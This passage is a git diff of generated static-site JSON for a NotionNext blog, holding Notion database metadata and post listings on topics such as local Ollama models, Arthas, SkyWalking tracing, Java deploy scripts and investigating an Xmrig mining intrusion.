"},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","color":"red","value":"微服务"},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","color":"purple","value":"spring"},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","color":"blue","value":"skywalking"}]},"wz|S":{"name":"summary","type":"text"},"title":{"name":"title","type":"title"},"f211bdc0-ee00-4186-9a7d-f68c055ec2ee":{"name":"status","type":"select","options":[{"id":"7abc61d4-b405-480d-b699-12588755fa65","color":"red","value":"Published"},{"id":"d1242312-e0a8-456d-b8f0-6e998e2c4fb2","color":"orange","value":"Invisible"},{"id":"41d5f5c6-b53c-42bc-8e0f-fc9402048480","color":"yellow","value":"Draft"}]}},"icon":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/c5ebdc5a-c3fd-403e-906b-17d64db6d01f/favicon.ico","cover":"/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","format":{"copied_from_pointer":{"id":"9c953404-2685-4385-a433-b3ca351ebfbb","table":"collection","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"},"property_visibility":[{"property":"`gQ~","visibility":"show"},{"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee","visibility":"show"},{"property":"NX\\Q","visibility":"show"},{"property":"d]hq","visibility":"show"},{"property":"wz|S","visibility":"show"},{"property":"sD^m","visibility":"show"},{"property":"bB{M","visibility":"show"},{"property":"Dj]h","visibility":"hide_if_empty"},{"property":"uHoD","visibility":"show"},{"property":"kiCR","visibility":"hide"}],"collection_cover_position":0.3,"collection_page_properties":[{"visible":false,"property":"`gQ~"},{"visible":false,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"NX\\Q"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"sD^m"},{"visible":true,"property":"bB{M"},{"visible":true,"property":"Dj]h"},{"visible":true,"property":"@NcA"},{"visible":true,"property":"ckw_"}],"collection_default_template":{"template_page_id":"77f4d759-8660-4888-8d35-4214be459ba1"}},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"file_ids":["6cf3dc36-2f98-4f0e-9679-1bdbb1485129","5520bd92-e709-4c0d-ad58-06923f23f7e9","624d393a-62e3-4464-a1bf-1c79ecd4fbda","d52f6766-3e32-4c3d-8529-46e1f214360f","abe3a0aa-2aff-4274-81bb-c2443d4ef9e2","a2a32795-101d-46aa-a7f6-eb35b8750166","ebb540b3-6c46-422b-b2ed-f834e98fa189","c5ebdc5a-c3fd-403e-906b-17d64db6d01f"],"copied_from":"9c953404-2685-4385-a433-b3ca351ebfbb","template_pages":["77f4d759-8660-4888-8d35-4214be459ba1"],"migrated":true,"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"}},"space":{},"collection_view":{"8e40545c-4d1c-4299-8605-c04d7ab6872f":{"value":{"id":"8e40545c-4d1c-4299-8605-c04d7ab6872f","version":18,"type":"table","name":"Table","format":{"table_properties":[{"width":219,"visible":true,"property":"title"},{"width":222,"visible":true,"property":"wz|S"},{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"table_frozen_column_index":-1,"collection_view_default_template":{"template_page_id":"77f4d759-8660-4888-8d35-4214be459ba1"}},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"page_sort":["cc459e5b-0f15-4a0c-83db-bb6bf2001aa3","a9bfecc8-9761-4987-9aca-af79d4ebbd0c","7aa40ad8-1e69-4d56-b245-d135d3101cec","e4eefa7d-e2f2-44ed-83f6-fd6951d50900","0f9b7a0d-ad15-4ece-8a8b-948d96b50ff7","58a216ce-4d8d-4b60-906c-6097c5fd8d41","b824f35b-aee9-4a22-81c9-d44b65f99f43","ba565c08-0d2f-46cb-9fcb-5eeface44dfb","560c76dd-c69f-429b-827d-7974407bb23f","0533a861-81cc-40fa-8ab8-5be721800b86","3578fa31-ea0a-4e07-82dc-28704e0dc685","f2625c60-ca69-493b-858c-bf38979f468c","96b14e20-e592-42f6-b7d2-357f4693f18c","fe8fafec-6d1b-4fbb-8a7a-fb079a6bb8e4","9345db3a-b8bd-4e02-b296-9734958eddb6","26e8ddc4-10b4-4765-a96d-e87290556164","840f0871-b58b-428d-8a28-0861947974b4","5787bc4f-06a4-4158-a27f-6c81fb9b1efe","e1bff221-486f-42c8-9cf3-6379f83f3510","2db01777-47d0-4230-bbe8-ef65ab694707","ab0d5acb-9230-4656-9c49-1aff13aba865","98330ff5-71d2-4ea9-945a-ba76fc282e9d","c555dc5f-766e-4b6d-8adc-711dda06ca9e","f53bfc30-59bb-4890-ba28-0b045040aa5e","4fae0653-be7f-4e10-91de-344f6c6d0a6b","62779828-3770-4944-923d-0e0a307d9cfe","e8fd9138-663d-415d-9684-24343fb3248f","e013510c-b3a7-4907-b4cd-118b118d30db","7e13a286-a275-4f48-b9d0-416c9b1368ce","38e3f997-dad9-46b8-99bb-d3042488821f","026c5c21-3604-4c0a-a13c-ccb9208e4815","ce6b6618-a118-4ee9-b74c-33a848d0f0ed","d3216be6-1b27-40e7-8677-7404896b7eb6","54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","041a3743-f888-4476-b947-fff856745c02","47aba706-2cde-4eef-9fb8-0cdd0f7805c9","93032c73-435f-4a73-8087-b71ecff3a86b","973ede9c-1a10-4482-be06-324fd481d34f","163026f4-445a-4595-936d-c0df491c3776","d43cadd5-38cc-48ce-a44d-188a8215cd7d","b4a852c3-8bab-43ef-b748-8dec9d0940f9","463a12f0-d5d5-4492-bb0f-8058cea32a41","95ddf5c1-569e-4c61-a1e8-6507fe59fc97","e02c27c7-0d8f-4899-ac46-99fcbde4d8e2","bb12e5eb-3f93-4fc7-ba98-c634aeab570c","4194acae-3f4b-4c08-98b9-907a0b5bd4b9","7197aec6-6a63-4199-be46-fe41dbe963bc","5263856d-837a-4f2d-bfc6-24cbff6c946c","7d53a42d-ea99-435e-b34c-b08a4c1d5d8d","07268062-6524-4c7a-a123-1bf8f2b1dc97","7b6c5022-b0db-4dc3-a38e-47cefabe2caf","535eb3f6-3ba4-436a-bb1a-98afa49aca4a","f3550fb0-346c-4212-b57f-86433738b50b","61e7385c-af01-4fb5-a3d1-20604e42144e","2255c884-c803-463b-86ed-ac605dbdb20d","07ffc04a-9fef-4589-93f1-7999e2ac60ff","6010106b-54da-4540-8532-04f407ec4543","1ffb90ba-821d-4d16-8520-e46604a470d7","adc7c47b-6dd7-439f-9e06-6075256c91a7","29e65d89-d04e-4ee3-9a9d-2f8856ed3055","d88da7cd-eebc-4c92-b9c3-53910376ab83","7d039e15-c906-470d-b781-943032713368","e746c4ee-0327-4529-85ac-7059a10091d3","898cec8f-fd58-426a-9065-696d924d6dd6","69787376-afa9-4f5b-9230-dbfcde06209d","9e017f37-5917-4cda-afb8-92072abdbdba","8aafeb2c-85b4-4c4e-af36-3b9efacb167c","6d0e0705-57f3-4223-8745-a27295245029","dec89a30-7004-499f-a99e-05b2842cad2b","7efc83d4-2645-4578-b588-a9cffb15524a","1769e8de-bebe-4687-a28a-34c15859ed98","203f2c30-a3cd-4f70-95b3-07df9f996428","2a0b435c-6f77-4db8-be6b-831d177bd762","eac01009-c323-46fd-8339-09c282e6597e","c4b37f96-4ab0-4a0b-a16e-55bac3e32990","4ad5c69e-0dab-4d66-b548-360da7d53568","72d89744-ac04-4dd4-be8b-9d629acd7c11","32dc3358-e954-4934-9e71-cf1dfbca5b91","961e45bd-8bed-4ebc-b3d8-1f0e63736d04"],"query2":{"aggregations":[{"property":"title","aggregator":"count"}]},"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"818d9fe2-a27d-40ec-b827-614939109ca4":{"value":{"id":"818d9fe2-a27d-40ec-b827-614939109ca4","version":1,"type":"gallery","format":{"gallery_cover":{"type":"page_cover"},"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"collection_groups":[{"value":{"type":"select","value":"心情随笔"},"property":"bB{M"},{"value":{"type":"select","value":"技术分享"},"property":"bB{M"},{"value":{"type":"select","value":"知行合一"},"property":"bB{M"},{"value":{"type":"select"},"hidden":true,"property":"bB{M"}],"gallery_properties":[{"visible":true,"property":"title"},{"visible":true,"property":"NX\\Q"},{"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"bB{M"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"sD^m"},{"visible":false,"property":"`gQ~"}],"collection_group_by":{"sort":{"type":"manual"},"type":"select","property":"bB{M"},"table_subitem_toggle_column":"title"},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"ad494b39-a38c-415e-9221-325f0f9be280":{"value":{"id":"ad494b39-a38c-415e-9221-325f0f9be280","version":1,"type":"board","format":{"board_columns":[{"value":{"type":"select","value":"Draft"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select","value":"Invisible"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select","value":"Published"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"}],"board_columns_by":{"sort":{"type":"manual"},"type":"select","property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},"board_properties":[{"visible":true,"property":"title"},{"visible":true,"property":"bB{M"},{"visible":true,"property":"sD^m"},{"visible":true,"property":"wz|S"},{"visible":false,"property":"NX\\Q"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"`gQ~"}],"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"table_subitem_toggle_column":"title"},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"58c6fb90-5030-4627-8bad-38b57c3253cd":{"value":{"id":"58c6fb90-5030-4627-8bad-38b57c3253cd","version":25,"type":"list","name":"","format":{"list_properties":[{"visible":true,"property":"NX\\Q"},{"visible":true,"property":"d]hq"},{"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":true,"property":"sD^m"},{"visible":true,"property":"`gQ~"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"bB{M"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"}],"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"collection_groups":[{"value":{"type":"select","value":"心情随笔"},"property":"bB{M"},{"value":{"type":"select","value":"技术分享"},"property":"bB{M"},{"value":{"type":"select","value":"知行合一"},"property":"bB{M"},{"value":{"type":"select"},"property":"bB{M"},{"value":{"type":"select","value":"未发布"},"hidden":false,"property":"bB{M"}],"collection_group_by":{"sort":{"type":"manual"},"type":"select","property":"bB{M"},"table_subitem_toggle_column":"title"},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"page_sort":["aac975a5-3e4f-4274-b064-aec9a24b48be","bb12e5eb-3f93-4fc7-ba98-c634aeab570c","69787376-afa9-4f5b-9230-dbfcde06209d","07268062-6524-4c7a-a123-1bf8f2b1dc97","4fae0653-be7f-4e10-91de-344f6c6d0a6b","163026f4-445a-4595-936d-c0df491c3776","973ede9c-1a10-4482-be06-324fd481d34f","47aba706-2cde-4eef-9fb8-0cdd0f7805c9","d43cadd5-38cc-48ce-a44d-188a8215cd7d","93032c73-435f-4a73-8087-b71ecff3a86b","041a3743-f888-4476-b947-fff856745c02","95ddf5c1-569e-4c61-a1e8-6507fe59fc97","463a12f0-d5d5-4492-bb0f-8058cea32a41","b4a852c3-8bab-43ef-b748-8dec9d0940f9","7d53a42d-ea99-435e-b34c-b08a4c1d5d8d","c555dc5f-766e-4b6d-8adc-711dda06ca9e","f53bfc30-59bb-4890-ba28-0b045040aa5e","5263856d-837a-4f2d-bfc6-24cbff6c946c","7b6c5022-b0db-4dc3-a38e-47cefabe2caf","d88da7cd-eebc-4c92-b9c3-53910376ab83","7d039e15-c906-470d-b781-943032713368","e746c4ee-0327-4529-85ac-7059a10091d3","29e65d89-d04e-4ee3-9a9d-2f8856ed3055","6234c1b0-c99f-4e13-892c-77dfbbb980dc","6619e16a-8a30-411e-a0d4-3fd724006c63","2e7ee7ca-e5f6-41ae-8886-cdcebbd52a5c","54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","d3216be6-1b27-40e7-8677-7404896b7eb6","3505b511-076b-47a7-aa1a-95e702c54e6b","ce6b6618-a118-4ee9-b74c-33a848d0f0ed","f6073c5c-d5a8-464d-90e1-2b13358989d7","463a3c80-4e43-42d9-b436-1299d00df6b2","026c5c21-3604-4c0a-a13c-ccb9208e4815","38e3f997-dad9-46b8-99bb-d3042488821f","7e13a286-a275-4f48-b9d0-416c9b1368ce","c400684e-4c92-4f33-a95c-fa250a356d9b"],"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"}},"notion_user":{},"collection_query":{},"signed_urls":{}}},"prev":{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","date":{"start_date":"2024-01-18"},"type":"Post","category":"心情随笔","slug":"article/example","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","title":"示例文章","status":"Published","publishDate":1705536000000,"publishDay":"Jan 18, 2024","lastEditedDate":"2024-01-19T06:18:08.580Z","lastEditedDay":"Jan 19, 2024","fullWidth":false,"pageIcon":"🗓️","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=85&fm=jpg&crop=entropy&cs=srgb&t=d3216be6-1b27-40e7-8677-7404896b7eb6","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=d3216be6-1b27-40e7-8677-7404896b7eb6&width=800&fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"文字","color":"brown"},{"name":"推荐","color":"red"}],"password":""},"next":{"id":"e8fd9138-663d-415d-9684-24343fb3248f","date":{"start_date":"2024-03-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240325-ollama","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","title":"mac体验ollama本地大模型","status":"Published","publishDate":1711324800000,"publishDay":"Mar 25, 2024","lastEditedDate":"2024-03-26T05:49:00.447Z","lastEditedDay":"Mar 26, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","tagItems":[{"name":"工具","color":"pink"},{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},"recommendPosts":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","date":{"start_date":"2024-03-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240325-ollama","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","title":"mac体验ollama本地大模型","status":"Published","publishDate":1711324800000,"publishDay":"Mar 25, 2024","lastEditedDate":"2024-03-26T05:49:00.447Z","lastEditedDay":"Mar 26, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","tagItems":[{"name":"工具","color":"pink"},{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","date":{"start_date":"2024-03-20","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240320-arthas","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","title":"Arthas简单使用备忘录","status":"Published","publishDate":1710892800000,"publishDay":"Mar 20, 2024","lastEditedDate":"2024-03-20T04:52:10.213Z","lastEditedDay":"Mar 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","tagItems":[{"name":"工具","color":"pink"},{"name":"开发","color":"pink"},{"name":"推荐","color":"red"}],"password":""},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","date":{"start_date":"2024-03-19","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240319-xmrig","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","title":"Xmrig挖矿入侵服务器排查","status":"Published","publishDate":1710806400000,"publishDay":"Mar 19, 2024","lastEditedDate":"2024-03-19T17:15:42.884Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"开发","color":"pink"}],"password":""},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","date":{"start_date":"2024-01-24","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240124-deploy","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","title":"Java部署脚本&重启备份检查&配置环境","status":"Published","publishDate":1706054400000,"publishDay":"Jan 24, 2024","lastEditedDate":"2024-01-24T07:18:46.139Z","lastEditedDay":"Jan 24, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","tagItems":[{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"自动化","color":"blue"},{"name":"微服务","color":"red"}],"password":""},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","date":{"start_date":"2024-01-21","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240121-skywaking","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","title":"解决SkyWalking在gateway中logback链路丢失","status":"Published","publishDate":1705795200000,"publishDay":"Jan 21, 2024","lastEditedDate":"2024-01-20T18:52:32.627Z","lastEditedDay":"Jan 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","tagItems":[{"name":"推荐","color":"red"},{"name":"开发","color":"pink"},{"name":"日志","color":"red"},{"name":"微服务","color":"red"},{"name":"spring","color":"purple"},{"name":"skywalking","color":"blue"}],"password":""},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","date":{"time_zone":"Asia/Shanghai","start_date":"2024-01-19","start_time":"13:00"},"type":"Post","category":"技术分享","slug":"article/240119-notion","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","title":"Notion文章自动同步GitPage","status":"Published","publishDate":1705622400000,"publishDay":"Jan 19, 2024","lastEditedDate":"2024-03-19T17:14:00.935Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"📗","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=85&fm=jpg&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed&width=800&fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"docker","color":"gray"},{"name":"自动化","color":"blue"},{"name":"折腾","color":"purple"},{"name":"git","color":"default"}],"password":""}]},"__N_SSG":true}
\ No newline at end of file
diff --git a/_next/data/mm0_cWkCfdum_vxo9wL_b/article/example-7.json b/_next/data/mm0_cWkCfdum_vxo9wL_b/article/example-7.json
new file mode 100644
index 000000000..b2e516687
--- /dev/null
+++ b/_next/data/mm0_cWkCfdum_vxo9wL_b/article/example-7.json
@@ -0,0 +1 @@
+{"pageProps":{"NOTION_CONFIG":{"AUTHOR":"Both Savage","BIO":"talk is cheap","TITLE":"Both Savage","DESCRIPTION":"talk is cheap","LINK":"https://bothsavage.github.io/","THEME":"gitbook","CAN_COPY":"true","SINCE":"2024","CONTACT_EMAIL":"bothsavage@163.com","CUSTOM_MENU":"true","CUSTOM_RIGHT_CLICK_CONTEXT_MENU":"false","LANG":"en-US","THEME_SWITCH":"true","POST_SHARE_BAR_ENABLE":"true"},"notice":null,"siteInfo":{"title":"Both Savage","description":"一个NotionNext搭建的博客","pageCover":"https://www.notion.so/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","icon":"https://www.notion.so/image/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2Feb3e1328-8f32-4ff5-8d18-8ea80020e175%2Fc5ebdc5a-c3fd-403e-906b-17d64db6d01f%2Ffavicon.ico?table=collection&id=3c6ddc29-47df-43f6-a375-de1c3a9cf466&t=3c6ddc29-47df-43f6-a375-de1c3a9cf466&width=800"},"allNavPages":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","title":"mac体验ollama本地大模型","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","category":"技术分享","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","slug":"article/240325-ollama","pageIcon":"🗒️","lastEditedDate":"2024-03-26T05:49:00.447Z"},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","title":"Arthas简单使用备忘录","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","category":"技术分享","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","slug":"article/240320-arthas","pageIcon":"🗒️","lastEditedDate":"2024-03-20T04:52:10.213Z"},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","title":"Xmrig挖矿入侵服务器排查","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","category":"技术分享","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","slug":"article/240319-xmrig","pageIcon":"🗒️","lastEditedDate":"2024-03-19T17:15:42.884Z"},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","title":"Java部署脚本&重启备份检查&配置环境","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","category":"技术分享","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","slug":"article/240124-deploy","pageIcon":"🗒️","lastEditedDate":"2024-01-24T07:18:46.139Z"},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","title":"解决SkyWalking在gateway中logback链路丢失","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","category":"技术分享","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","slug":"article/240121-skywaking","pageIcon":"🗒️","lastEditedDate":"2024-01-20T18:52:32.627Z"},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","title":"Notion文章自动同步GitPage","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed&width=800&fmt=webp","category":"技术分享","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","slug":"article/240119-notion","pageIcon":"📗","lastEditedDate":"2024-03-19T17:14:00.935Z"},{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","title":"示例文章","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=d3216be6-1b27-40e7-8677-7404896b7eb6&width=800&fmt=webp","category":"心情随笔","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/example","pageIcon":"🗓️","lastEditedDate":"2024-01-19T06:18:08.580Z"},{"id":"54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","title":"开始","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf&width=800&fmt=webp","category":"知行合一","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/begin","pageIcon":"🏐","lastEditedDate":"2024-01-19T09:15:24.923Z"}],"tagOptions":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","name":"推荐","color":"red","count":8},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","name":"文字","color":"brown","count":2},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","name":"工具","color":"pink","count":4},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","name":"开发","color":"pink","count":3},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","name":"建站","color":"bro